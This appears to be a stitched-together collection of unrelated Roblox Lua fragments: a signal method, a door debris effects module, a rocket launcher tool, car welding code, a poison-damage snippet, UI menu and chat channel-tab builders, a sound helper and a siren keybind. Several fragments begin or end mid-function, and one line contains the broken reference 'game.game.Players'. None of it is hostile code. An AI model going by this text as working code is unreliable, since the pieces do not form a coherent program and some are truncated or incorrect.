--[=[ @param ... any Same as `Fire`, but uses `task.defer` internally & doesn't take advantage of thread reuse. ```lua signal:FireDeferred("Hello") ``` ]=]
function Signal:FireDeferred(...) local item = self._handlerListHead while item do task.defer(item._fn, ...) item = item._next end end
--This module is for any client FX related to the lab debris
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) local InitialModelCFrames = {} function DoorFX.OPEN(door) if not door then return end local EffectsBrick = door:WaitForChild("Effects") local Effects = EffectsBrick:GetChildren() for _, Item in pairs (Effects) do if Item.Name == "Unlock" then Item:Play() continue end if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then Item.Enabled = true end end local Components = door:GetChildren() for _, Component in pairs (Components) do if not Component:IsA("Model") then continue end local descendants = Component:GetDescendants() for _, item in pairs (descendants) do if item:IsA("BasePart") and item ~= Component.PrimaryPart then local newWeld = Instance.new("WeldConstraint") newWeld.Part0 = item newWeld.Part1 = Component.PrimaryPart newWeld.Parent = Component.PrimaryPart item.Anchored = false end end InitialModelCFrames[Component] = Component.PrimaryPart.CFrame local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-1,1),3,math.random(-1,1))) * CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360))) local TweenInf = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.In) tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}):Play() end wait(1) for _, Component in pairs (Components) do if not Component:IsA("Model") then continue end local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-20,20),50,math.random(-20,20))) * CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360))) local TweenInf = TweenInfo.new(2, Enum.EasingStyle.Linear) local Tween = tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}) Tween:Play() local Event = nil Event = Tween.Completed:Connect(function() Event:Disconnect() Component.PrimaryPart.CFrame = Component.PrimaryPart.CFrame - Vector3.new(0, 300, 0) end) end wait(.5) for _, Item in pairs (Effects) do if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then Item.Enabled = false end end end function DoorFX.CLOSE(door) if not door then return end local Components = door:GetChildren() for _, Component in pairs (Components) do if Component:IsA("Model") then Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame --this errors when the module is called for some reason so thats why its like that end end end return DoorFX
----------------- --| Functions |-- -----------------
local function MakeBaseRocket() -- Set up the rocket part local rocket = Instance.new('Part') rocket.Name = 'Rocket' rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size rocket.Size = ROCKET_PART_SIZE rocket.CanCollide = false rocket.BottomSurface = Enum.SurfaceType.Smooth rocket.TopSurface = Enum.SurfaceType.Smooth -- Add the mesh local mesh = Instance.new('SpecialMesh', rocket) mesh.MeshId = ROCKET_MESH_ID mesh.Scale = ROCKET_MESH_SCALE mesh.TextureId = ToolHandle.Mesh.TextureId -- Add fire local fire = Instance.new('Fire', rocket) fire.Heat = 3 fire.Size = 2 -- Add the propulsion local rocketPropulsion = Instance.new('RocketPropulsion', rocket) rocketPropulsion.CartoonFactor = 1 rocketPropulsion.TargetRadius = TARGET_RADIUS rocketPropulsion.MaxSpeed = MAX_SPEED rocketPropulsion.MaxTorque = MAX_TORQUE rocketPropulsion.MaxThrust = MAX_THRUST rocketPropulsion.ThrustP = THRUST_P rocketPropulsion.ThrustD = THRUST_D -- Clone the sounds local swooshSoundClone = SwooshSound:Clone() swooshSoundClone.Parent = rocket local boomSoundClone = BoomSound:Clone() boomSoundClone.Parent = rocket -- Attach creator tags local creatorTag = Instance.new('ObjectValue', rocket) creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats creatorTag.Value = MyPlayer local iconTag = Instance.new('StringValue', creatorTag) iconTag.Name = 'icon' iconTag.Value = Tool.TextureId -- Finally, clone the rocket script and enable it local rocketScriptClone = RocketScript:Clone() rocketScriptClone.Parent = rocket rocketScriptClone.Disabled = false return rocket end local function OnEquipped() MyModel = Tool.Parent MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel) BaseRocket = MakeBaseRocket() RocketClone = BaseRocket:Clone() end local function OnActivated(byFireButton) if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then Tool.Enabled = false -- Get the target position local targetPosition = MyModel.Humanoid.TargetPoint if byFireButton then -- Using Fire Button, shoot forwards targetPosition = MyModel.Humanoid.Torso.CFrame.lookVector * 1000 end -- Position the rocket clone local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.z / 2)) RocketClone.CFrame = CFrame.new(spawnPosition, targetPosition) --NOTE: This must be done before assigning Parent DebrisService:AddItem(RocketClone, 30) RocketClone.Parent = Workspace -- Assign target and launch! FireSound:Play() local rocketPropulsion = RocketClone:FindFirstChild('RocketPropulsion') if rocketPropulsion then local direction = (targetPosition - RocketClone.Position).unit rocketPropulsion.TargetOffset = RocketClone.Position + (direction * TARGET_OVERSHOOT_DISTANCE) rocketPropulsion:Fire() end wait(0) --TODO: Remove when sounds realize they can be played as soon as they enter the Workspace -- Swoosh! local swooshSound = RocketClone:FindFirstChild('Swoosh') if swooshSound then swooshSound:Play() end -- Prepare the next rocket to be fired RocketClone = BaseRocket:Clone() ReloadSound:Play() wait(COOLDOWN) -- Stop the reloading sound if it hasn't already finished ReloadSound:Stop() Tool.Enabled = true end end local function OnUnequipped() ReloadSound:Stop() --TODO: This does not work online end
-- Calling Corner
PhysPad.Touched:Connect(onTouch)
-- Put us by the screen so we can see it's working
local c = game.Players.LocalPlayer.Character or game.game.Players.LocalPlayer.CharacterAdded:Wait() c.HumanoidRootPart.CFrame = CFrame.new(workspace.Screen.Position+Vector3.new(5,0,0))
---
MakeWeld(car.Misc.Und.base,car.DriveSeat) MakeWeld(car.Misc.Und.Cover.A,car.Misc.Und.Cover.part1) MakeWeld(car.Misc.Und.La.A,car.Misc.Und.La.part1) MakeWeld(car.Misc.Und.H1.To,car.Misc.Und.H1.part1) MakeWeld(car.Misc.Und.H1.H2.To,car.Misc.Und.H1.H2.part1) MakeWeld(car.Misc.Und.H1.H2.H3.To,car.Misc.Und.H1.H2.H3.part1) MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_1,car.Misc.Und.H1.H2.H3.H4.part1) MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_2,car.Misc.Und.H1.H2.H3.H4.part1) MakeWeld(car.Misc.Und.H1.H2.H3.H4.Ua_3,car.Misc.Und.H1.H2.H3.H4.part1) MakeWeld(car.Misc.Und.H1.part0,car.Misc.Und.H1.part1,"Motor",.003).Name="Motor" MakeWeld(car.Misc.Und.H1.H2.part0,car.Misc.Und.H1.H2.part1,"Motor",.006).Name="Motor" MakeWeld(car.Misc.Und.H1.H2.H3.part0,car.Misc.Und.H1.H2.H3.part1,"Motor",.003).Name="Motor" MakeWeld(car.Misc.Und.H1.H2.H3.H4.part0,car.Misc.Und.H1.H2.H3.H4.part1,"Motor",.006).Name="Motor" MakeWeld(car.Misc.Und.Cover.part0,car.Misc.Und.Cover.part1,"Motor",.015).Name="Motor" MakeWeld(car.Misc.Und.La.part0,car.Misc.Und.La.part1,"Motor",.003).Name="Motor" MakeWeld(car.Misc.Und.H1.part0,car.Misc.Und.base) MakeWeld(car.Misc.Und.Cover.part0,car.Misc.Und.base) MakeWeld(car.Misc.Und.La.part0,car.Misc.Und.base) MakeWeld(car.Misc.Und.H1.H2.part0,car.Misc.Und.H1.To) MakeWeld(car.Misc.Und.H1.H2.H3.part0,car.Misc.Und.H1.H2.To) MakeWeld(car.Misc.Und.H1.H2.H3.H4.part0,car.Misc.Und.H1.H2.H3.To) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
-- Those lines down there are poison effects given by -- the gaster blaster.
wait(0.1) human.Health = human.Health - 1 end end script.Parent.Touched:connect(onTouched)
-- Menus
local menuContainer = Instance.new("Frame") menuContainer.Active = true menuContainer.Selectable = false menuContainer.Name = "MenuContainer" menuContainer.BackgroundTransparency = 1 menuContainer.BorderSizePixel = 0 menuContainer.AnchorPoint = Vector2.new(1, 0) menuContainer.Size = UDim2.new(0, 500, 0, 50) menuContainer.ZIndex = -2 menuContainer.ClipsDescendants = true menuContainer.Visible = true menuContainer.Parent = iconContainer menuContainer.Active = false local menuFrame = Instance.new("ScrollingFrame") menuFrame.Active = true menuFrame.Selectable = true menuFrame.Name = "MenuFrame" menuFrame.BackgroundTransparency = 1 menuFrame.BorderSizePixel = 0 menuFrame.AnchorPoint = Vector2.new(0, 0) menuFrame.Position = UDim2.new(0, 0, 0, 0) menuFrame.Size = UDim2.new(1, 0, 1, 0) menuFrame.ZIndex = -1 + 10 menuFrame.ClipsDescendants = false menuFrame.Visible = true menuFrame.TopImage = ""--menuFrame.MidImage menuFrame.BottomImage = ""--menuFrame.MidImage menuFrame.HorizontalScrollBarInset = Enum.ScrollBarInset.Always menuFrame.CanvasSize = UDim2.new(0, 0, 0, 0) menuFrame.Parent = menuContainer menuFrame.Active = false local menuList = Instance.new("UIListLayout") menuList.Name = "MenuList" menuList.FillDirection = Enum.FillDirection.Horizontal menuList.HorizontalAlignment = Enum.HorizontalAlignment.Right menuList.SortOrder = Enum.SortOrder.LayoutOrder menuList.Parent = menuFrame local menuInvisBlocker = Instance.new("Frame") menuInvisBlocker.Name = "MenuInvisBlocker" menuInvisBlocker.BackgroundTransparency = 1 menuInvisBlocker.Size = UDim2.new(0, -2, 1, 0) menuInvisBlocker.Visible = true menuInvisBlocker.LayoutOrder = 999999999 menuInvisBlocker.Parent = menuFrame menuInvisBlocker.Active = false
-- Folder
local soundFold = rp.Storage.Sounds local module = {} function module.Play( Data) local sfx = Data.sfx local tim = Data.tim local part = Data.part local sound = sfx:Clone() sound.Parent = part sound:Play() if tim then game.Debris:AddItem(sound, tim) end return sound end
-- How many times per second the gun can fire
local FireRate = 10 / 60
--------| Library |--------
local _L = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")) while (not _L.Loaded) do game:GetService("RunService").Heartbeat:Wait() end
--// # key, ManOn
mouse.KeyDown:connect(function(key) if key=="f" then veh.Lightbar.middle.Man:Play() veh.Lightbar.middle.Wail.Volume = 0 veh.Lightbar.middle.Yelp.Volume = 0 veh.Lightbar.middle.Priority.Volume = 0 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110) end end)
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:CreateGuiObjects(targetParent) local BaseFrame = Instance.new("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 1, 0) BaseFrame.BackgroundTransparency = 1 BaseFrame.Parent = targetParent local ScrollingBase = Instance.new("Frame") ScrollingBase.Selectable = false ScrollingBase.Name = "ScrollingBase" ScrollingBase.BackgroundTransparency = 1 ScrollingBase.ClipsDescendants = true ScrollingBase.Size = UDim2.new(1, 0, 1, 0) ScrollingBase.Position = UDim2.new(0, 0, 0, 0) ScrollingBase.Parent = BaseFrame local ScrollerSizer = Instance.new("Frame") ScrollerSizer.Selectable = false ScrollerSizer.Name = "ScrollerSizer" ScrollerSizer.BackgroundTransparency = 1 ScrollerSizer.Size = UDim2.new(1, 0, 1, 0) ScrollerSizer.Position = UDim2.new(0, 0, 0, 0) ScrollerSizer.Parent = ScrollingBase local ScrollerFrame = Instance.new("Frame") ScrollerFrame.Selectable = false ScrollerFrame.Name = "ScrollerFrame" ScrollerFrame.BackgroundTransparency = 1 ScrollerFrame.Size = UDim2.new(1, 0, 1, 0) ScrollerFrame.Position = UDim2.new(0, 0, 0, 0) ScrollerFrame.Parent = ScrollerSizer local LeaveConfirmationFrameBase = Instance.new("Frame") LeaveConfirmationFrameBase.Selectable = false LeaveConfirmationFrameBase.Size = UDim2.new(1, 0, 1, 0) LeaveConfirmationFrameBase.Position = UDim2.new(0, 0, 0, 0) LeaveConfirmationFrameBase.ClipsDescendants = true LeaveConfirmationFrameBase.BackgroundTransparency = 1 LeaveConfirmationFrameBase.Parent = BaseFrame local LeaveConfirmationFrame = Instance.new("Frame") LeaveConfirmationFrame.Selectable = false LeaveConfirmationFrame.Name = "LeaveConfirmationFrame" LeaveConfirmationFrame.Size = UDim2.new(1, 0, 1, 0) LeaveConfirmationFrame.Position = UDim2.new(0, 0, 1, 0) LeaveConfirmationFrame.BackgroundTransparency = 0.6 LeaveConfirmationFrame.BorderSizePixel = 0 LeaveConfirmationFrame.BackgroundColor3 = Color3.new(0, 0, 0) LeaveConfirmationFrame.Parent = LeaveConfirmationFrameBase local InputBlocker = Instance.new("TextButton") InputBlocker.Selectable = false InputBlocker.Size = UDim2.new(1, 0, 1, 0) InputBlocker.BackgroundTransparency = 1 InputBlocker.Text = "" InputBlocker.Parent = LeaveConfirmationFrame local LeaveConfirmationButtonYes = Instance.new("TextButton") LeaveConfirmationButtonYes.Selectable = false LeaveConfirmationButtonYes.Size = UDim2.new(0.25, 0, 1, 0) LeaveConfirmationButtonYes.BackgroundTransparency = 1 LeaveConfirmationButtonYes.Font = ChatSettings.DefaultFont LeaveConfirmationButtonYes.TextSize = 18 LeaveConfirmationButtonYes.TextStrokeTransparency = 0.75 LeaveConfirmationButtonYes.Position = UDim2.new(0, 0, 0, 0) LeaveConfirmationButtonYes.TextColor3 = Color3.new(0, 1, 0) LeaveConfirmationButtonYes.Text = "Confirm" LeaveConfirmationButtonYes.Parent = LeaveConfirmationFrame local LeaveConfirmationButtonNo = LeaveConfirmationButtonYes:Clone() LeaveConfirmationButtonNo.Parent = LeaveConfirmationFrame LeaveConfirmationButtonNo.Position = UDim2.new(0.75, 0, 0, 0) LeaveConfirmationButtonNo.TextColor3 = Color3.new(1, 0, 0) LeaveConfirmationButtonNo.Text = "Cancel" local LeaveConfirmationNotice = Instance.new("TextLabel") LeaveConfirmationNotice.Selectable = false LeaveConfirmationNotice.Size = UDim2.new(0.5, 0, 1, 0) LeaveConfirmationNotice.Position = UDim2.new(0.25, 0, 0, 0) LeaveConfirmationNotice.BackgroundTransparency = 1 LeaveConfirmationNotice.TextColor3 = Color3.new(1, 1, 1) LeaveConfirmationNotice.TextStrokeTransparency = 0.75 LeaveConfirmationNotice.Text = "Leave channel <XX>?" LeaveConfirmationNotice.Font = ChatSettings.DefaultFont LeaveConfirmationNotice.TextSize = 18 LeaveConfirmationNotice.Parent = LeaveConfirmationFrame local LeaveTarget = Instance.new("StringValue") LeaveTarget.Name = "LeaveTarget" LeaveTarget.Parent = LeaveConfirmationFrame local outPos = LeaveConfirmationFrame.Position LeaveConfirmationButtonYes.MouseButton1Click:connect(function() MessageSender:SendMessage(string.format("/leave %s", LeaveTarget.Value), nil) LeaveConfirmationFrame:TweenPosition(outPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.2, true) end) LeaveConfirmationButtonNo.MouseButton1Click:connect(function() LeaveConfirmationFrame:TweenPosition(outPos, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.2, true) end) local scale = 0.7 local scaleOther = (1 - scale) / 2 local pageButtonImage = "rbxasset://textures/ui/Chat/TabArrowBackground.png" local pageButtonArrowImage = "rbxasset://textures/ui/Chat/TabArrow.png" --// ToDo: Remove these lines when the assets are put into trunk. --// These grab unchanging versions hosted on the site, and not from the content folder. pageButtonImage = "rbxassetid://471630199" pageButtonArrowImage = "rbxassetid://471630112" local PageLeftButton = Instance.new("ImageButton", BaseFrame) PageLeftButton.Selectable = ChatSettings.GamepadNavigationEnabled PageLeftButton.Name = "PageLeftButton" PageLeftButton.SizeConstraint = Enum.SizeConstraint.RelativeYY PageLeftButton.Size = UDim2.new(scale, 0, scale, 0) PageLeftButton.BackgroundTransparency = 1 PageLeftButton.Position = UDim2.new(0, 4, scaleOther, 0) PageLeftButton.Visible = false PageLeftButton.Image = pageButtonImage local ArrowLabel = Instance.new("ImageLabel", PageLeftButton) ArrowLabel.Name = "ArrowLabel" ArrowLabel.BackgroundTransparency = 1 ArrowLabel.Size = UDim2.new(0.4, 0, 0.4, 0) ArrowLabel.Image = pageButtonArrowImage local PageRightButtonPositionalHelper = Instance.new("Frame", BaseFrame) PageRightButtonPositionalHelper.Selectable = false PageRightButtonPositionalHelper.BackgroundTransparency = 1 PageRightButtonPositionalHelper.Name = "PositionalHelper" PageRightButtonPositionalHelper.Size = PageLeftButton.Size PageRightButtonPositionalHelper.SizeConstraint = PageLeftButton.SizeConstraint PageRightButtonPositionalHelper.Position = UDim2.new(1, 0, scaleOther, 0) local PageRightButton = PageLeftButton:Clone() PageRightButton.Parent = PageRightButtonPositionalHelper PageRightButton.Name = "PageRightButton" PageRightButton.Size = UDim2.new(1, 0, 1, 0) PageRightButton.SizeConstraint = Enum.SizeConstraint.RelativeXY PageRightButton.Position = UDim2.new(-1, -4, 0, 0) local positionOffset = UDim2.new(0.05, 0, 0, 0) PageRightButton.ArrowLabel.Position = UDim2.new(0.3, 0, 0.3, 0) + positionOffset PageLeftButton.ArrowLabel.Position = UDim2.new(0.3, 0, 0.3, 0) - positionOffset PageLeftButton.ArrowLabel.Rotation = 180 self.GuiObject = BaseFrame self.GuiObjects.BaseFrame = BaseFrame self.GuiObjects.ScrollerSizer = ScrollerSizer self.GuiObjects.ScrollerFrame = ScrollerFrame self.GuiObjects.PageLeftButton = PageLeftButton self.GuiObjects.PageRightButton = PageRightButton self.GuiObjects.LeaveConfirmationFrame = LeaveConfirmationFrame self.GuiObjects.LeaveConfirmationNotice = LeaveConfirmationNotice self.GuiObjects.PageLeftButtonArrow = PageLeftButton.ArrowLabel self.GuiObjects.PageRightButtonArrow = PageRightButton.ArrowLabel self:AnimGuiObjects() PageLeftButton.MouseButton1Click:connect(function() self:ScrollChannelsFrame(-1) end) PageRightButton.MouseButton1Click:connect(function() self:ScrollChannelsFrame(1) end) self:ScrollChannelsFrame(0) end function methods:UpdateMessagePostedInChannel(channelName) local tab = self:GetChannelTab(channelName) if (tab) then tab:UpdateMessagePostedInChannel() else warn("ChannelsTab '" .. channelName .. "' does not exist!") end end function methods:AddChannelTab(channelName) if (self:GetChannelTab(channelName)) then error("Channel tab '" .. channelName .. "'already exists!") end local tab = moduleChannelsTab.new(channelName) tab.GuiObject.Parent = self.GuiObjects.ScrollerFrame self.ChannelTabs[channelName:lower()] = tab self.NumTabs = self.NumTabs + 1 self:OrganizeChannelTabs() if (ChatSettings.RightClickToLeaveChannelEnabled) then tab.NameTag.MouseButton2Click:connect(function() self.LeaveConfirmationNotice.Text = string.format("Leave channel %s?", tab.ChannelName) self.LeaveConfirmationFrame.LeaveTarget.Value = tab.ChannelName self.LeaveConfirmationFrame:TweenPosition(UDim2.new(0, 0, 0, 0), Enum.EasingDirection.In, Enum.EasingStyle.Quad, 0.2, true) end) end return tab end function methods:RemoveChannelTab(channelName) if (not self:GetChannelTab(channelName)) then error("Channel tab '" .. channelName .. "'does not exist!") end local indexName = channelName:lower() self.ChannelTabs[indexName]:Destroy() self.ChannelTabs[indexName] = nil self.NumTabs = self.NumTabs - 1 self:OrganizeChannelTabs() end function methods:GetChannelTab(channelName) return self.ChannelTabs[channelName:lower()] end function methods:OrganizeChannelTabs() local order = {} table.insert(order, self:GetChannelTab(ChatSettings.GeneralChannelName)) table.insert(order, self:GetChannelTab("System")) for tabIndexName, tab in pairs(self.ChannelTabs) do if (tab.ChannelName ~= ChatSettings.GeneralChannelName and tab.ChannelName ~= "System") then table.insert(order, tab) end end for index, tab in pairs(order) do tab.GuiObject.Position = UDim2.new(index - 1, 0, 0, 0) end --// Dynamic tab resizing self.GuiObjects.ScrollerSizer.Size = UDim2.new(1 / math.max(1, math.min(ChatSettings.ChannelsBarFullTabSize, self.NumTabs)), 0, 1, 0) self:ScrollChannelsFrame(0) end function methods:ResizeChannelTabText(textSize) for i, tab in pairs(self.ChannelTabs) do tab:SetTextSize(textSize) end end function methods:ScrollChannelsFrame(dir) if (self.ScrollChannelsFrameLock) then return end self.ScrollChannelsFrameLock = true local tabNumber = ChatSettings.ChannelsBarFullTabSize local newPageNum = self.CurPageNum + dir if (newPageNum < 0) then newPageNum = 0 elseif (newPageNum > 0 and newPageNum + tabNumber > self.NumTabs) then newPageNum = self.NumTabs - tabNumber end self.CurPageNum = newPageNum local tweenTime = 0.15 local endPos = UDim2.new(-self.CurPageNum, 0, 0, 0) self.GuiObjects.PageLeftButton.Visible = (self.CurPageNum > 0) self.GuiObjects.PageRightButton.Visible = (self.CurPageNum + tabNumber < self.NumTabs) if dir == 0 then self.ScrollChannelsFrameLock = false return end local function UnlockFunc() self.ScrollChannelsFrameLock = false end self:WaitUntilParentedCorrectly() self.GuiObjects.ScrollerFrame:TweenPosition(endPos, Enum.EasingDirection.InOut, Enum.EasingStyle.Quad, tweenTime, true, UnlockFunc) end function methods:FadeOutBackground(duration) for channelName, channelObj in pairs(self.ChannelTabs) do channelObj:FadeOutBackground(duration) end self.AnimParams.Background_TargetTransparency = 1 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeInBackground(duration) for channelName, channelObj in pairs(self.ChannelTabs) do channelObj:FadeInBackground(duration) end self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeOutText(duration) for channelName, channelObj in pairs(self.ChannelTabs) do channelObj:FadeOutText(duration) end end function methods:FadeInText(duration) for channelName, channelObj in pairs(self.ChannelTabs) do channelObj:FadeInText(duration) end end function methods:AnimGuiObjects() self.GuiObjects.PageLeftButton.ImageTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.PageRightButton.ImageTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.PageLeftButtonArrow.ImageTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.PageRightButtonArrow.ImageTransparency = self.AnimParams.Background_CurrentTransparency end function methods:InitializeAnimParams() self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_CurrentTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(0) end function methods:Update(dtScale) for channelName, channelObj in pairs(self.ChannelTabs) do channelObj:Update(dtScale) end self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Background_CurrentTransparency, self.AnimParams.Background_TargetTransparency, self.AnimParams.Background_NormalizedExptValue, dtScale ) self:AnimGuiObjects() end